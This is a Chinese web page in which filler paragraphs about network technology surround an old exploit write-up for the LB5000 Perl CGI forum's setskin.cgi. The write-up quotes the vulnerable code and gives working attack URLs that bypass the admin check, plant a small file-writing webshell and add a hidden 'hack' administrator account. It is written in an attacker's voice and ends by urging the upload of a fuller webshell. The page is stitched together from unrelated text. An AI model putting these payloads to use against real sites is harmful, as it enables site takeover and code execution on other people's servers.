|
導讀網絡技術是從1990年代中期發展起來的新技術,它把互聯網上分散的資源融為有機整體,實現資源的全面共享和有機協作,使人們能夠透明地使用資源的整體能力并按需獲取信息。資源包括高性能計算機、存儲資源、數據... 網絡技術是從1990年代中期發展起來的新技術,它把互聯網上分散的資源融為有機整體,實現資源的全面共享和有機協作,使人們能夠透明地使用資源的整體能力并按需獲取信息。資源包括高性能計算機、存儲資源、數據資源、信息資源、知識資源、專家資源、大型數據庫、網絡、傳感器等。 當前的互聯網只限于信息共享,網絡則被認為是互聯網發展的第三階段。 >>>Dedicated This Scrap To CaoJing<<< 涉及版本: LB5000XP所有版本,低于LB5000MX1.90(1.90已修復)所有版本 描述: LB是一款由www.leoboard.com開發和維護的源代碼開放的cgi論壇;由于setskin.cgi存在管理員驗證可繞開漏洞,可能導致非法用戶控制論壇或以web權限在系統上執行任意命令 具體: LB論壇管理菜單中有個“管理區插件設定“的特殊功能,我們來看看它是如何對管理員進行驗證的: ---------------------------------------------- 62 $inmembername = cookie("adminname"); 63 $inpassword = cookie("adminpass"); ... 68 &getmember("$inmembername"); 69 70 if (($membercode eq "ad") && ($inpassword eq $password) && (lc($inmembername) eq lc($membername))) { ... ---------------------------------------------- 其中getmember()是提取用戶資料的一個函數,如果$inmembername用戶存在它將返回此用戶的密碼、等級等信息,但要是這個用戶不存在呢?呵呵,這下可就壞了,我們還是先來看看getmember()函數的相關部分: ---------------------------------------------- sub getmember { my $nametocheck = shift; ... my $filetoopen = "$lbdir" . "$memdir/$nametocheck.cgi"; ... if ((-e $filetoopen)&&($nametocheck !~ /^客人/)) {#如果用戶存在就提取 ...#省略大量提取用戶信息的代碼 } else { $userregistered = "no"; }#如果不存在,僅僅返回這個 } ---------------------------------------------- 顯然當我們直接請求setskin.cgi文件的時候$inmembername為空,也就是說&getmember("$inmembername")這行只會返回個$userregistered = "no";但setskin.cgi文件中$userregistered連影都沒有,嘿嘿,問題出來了吧:&getmember("$inmembername")在setskin.cgi文件中“形同虛設“!!我們現在回過頭看第70行的驗證代碼: ($inpassword eq $password)和(lc($inmembername) eq lc($membername))已經搞定了,因為它們都為空嘛;只有($membercode eq "ad")尚待搞定,要這是PHP程序你肯定會脫口而出我們直接指定“membercode=ad”啊!要命的是在這里你同樣可以這樣做,因為可愛的LB在setskin.cgi的開頭有這么幾行: ---------------------------------------------- @params = $query->param; foreach (@params) { $theparam = $query->param($_); $theparam =~ s/\@/\\\@/g; $theparam =~ s/\$/\\\$/g; $theparam = &unHTML("$theparam"); ${$_} = $theparam; ---------------------------------------------- 哈哈,爽吧,還等什么,直接提交如下URL進入: http://www.target.com/perl/lb5000mx/cgi-bin/setskin.cgi?membercode=ad Yeah,成功!! ...恩,請小聲點,并沒有結束,相反,攻擊才開始。 上面這個是次要的,我們做不了什么,但我們繞開了驗證,接下來的代碼才有味道呢! ---------------------------------------------- 73 if ($action eq "process") { 74 75 76 $printme .= "1\;\n"; 77 78 $filetomake = "$lbdir" . "data/leoskin.cgi"; 79 80 open(FILE,">$filetomake"); 81 flock(FILE,2) if ($OS_USED eq "Unix"); 82 print FILE "$printme"; 83 close(FILE); ---------------------------------------------- 同樣,這里的$printme也是我們手中控制的變量,可向data/leoskin.cgi覆蓋式的寫入東西,太好了,可寫什么呢?要知道寫這次會覆蓋上一次寫的,它可沒耐心讓你一行一行,而且,它還處理了一批有用字符: ---------------------------------------------- 52 $theparam =~ s/\@/\\\@/g; 53 $theparam =~ s/\$/\\\$/g; 54 $theparam = &unHTML("$theparam"); ... sub unHTML { my $text = shift; $text =~ s/<!--(.|\n)*-->//g; $text =~ s/\&/\&/g; $text =~ s/<s cript>/\<s cript\>/ig; $text =~ s/"/\"/g; $text =~ s/ / \ /g; $text =~ s/</\</g; $text =~ s/>/\>/g; $text =~ s/[\a\f\e\0\r\t]//isg; $text =~ s/document.cookie/documents\&\#46\;cookie/isg; return $text; } ---------------------------------------------- My God,@&$”<>全軍覆沒,看來要動真格了,好,提交下面URL: http://www.target.com/perl/lb5000mx/cgi-bin/setskin.cgi?membercode=ad&action=process&printme=use%20CGI%20qw(:standard)%3bopen(SKY,param('a'))%3bprint%20SKY%20param('b')%3b 文件data/leoskin.cgi現在變成什么樣了呢? ---------------------------------------------- use CGI qw(:standard);open(SKY,param('a'));print SKY param('b');$printme = "use CGI qw(:standard);open(SKY,param('a'));print SKY param('b');"; 1; ---------------------------------------------- 實質起作用的是: ---------------------------------------------- use CGI qw(:standard); open(SKY,param('a')); print SKY param('b'); ---------------------------------------------- 這個小webshell酷吧,它能做許多事哦,比如說: http://www.psych.com/perl/lb5000mx/cgi-bin/data/leoskin.cgi?a=>;>E:/PsYch/PERL/LB5000MX/cgi-bin/data/hack.cgi&b=hahahaha 這樣你就在E:/PsYch/PERL/LB5000MX/cgi-bin/data/目錄下新寫入了一個文件hack.cgi其內容為”hahahaha”;照同樣的方法把下面這個文件一行一行(我沒強迫你這樣做,你可以寫個小程序)寫到對方web下一個目錄: ---------------------------------------------- $lbpath="E:/PsYch/PERL/LB5000MX/cgi-bin/";####注意:此處請修改#### $ad="/hack.cgi"; opendir(DIR,"$lbpath"); @files=readdir(DIR); close(DIR); @memdir=grep(/^members/,@files); $hack=$lbpath.@memdir[0].$ad; open(HACK,">$hack"); print HACK "hack\thack\thack\tad\n"; ---------------------------------------------- 假使你把文件名定為 love.cgi,在/somepath目錄下,提交 http://www.target.com/somepath/love.cgi 哦,一個hack/hack管理員誕生了!當然,上傳個功能強使用方便的webshell上去也行,不過那是你自己的工作了! 網絡的神奇作用吸引著越來越多的用戶加入其中,正因如此,網絡的承受能力也面臨著越來越嚴峻的考驗―從硬件上、軟件上、所用標準上......,各項技術都需要適時應勢,對應發展,這正是網絡迅速走向進步的催化劑。 |
溫馨提示:喜歡本站的話,請收藏一下本站!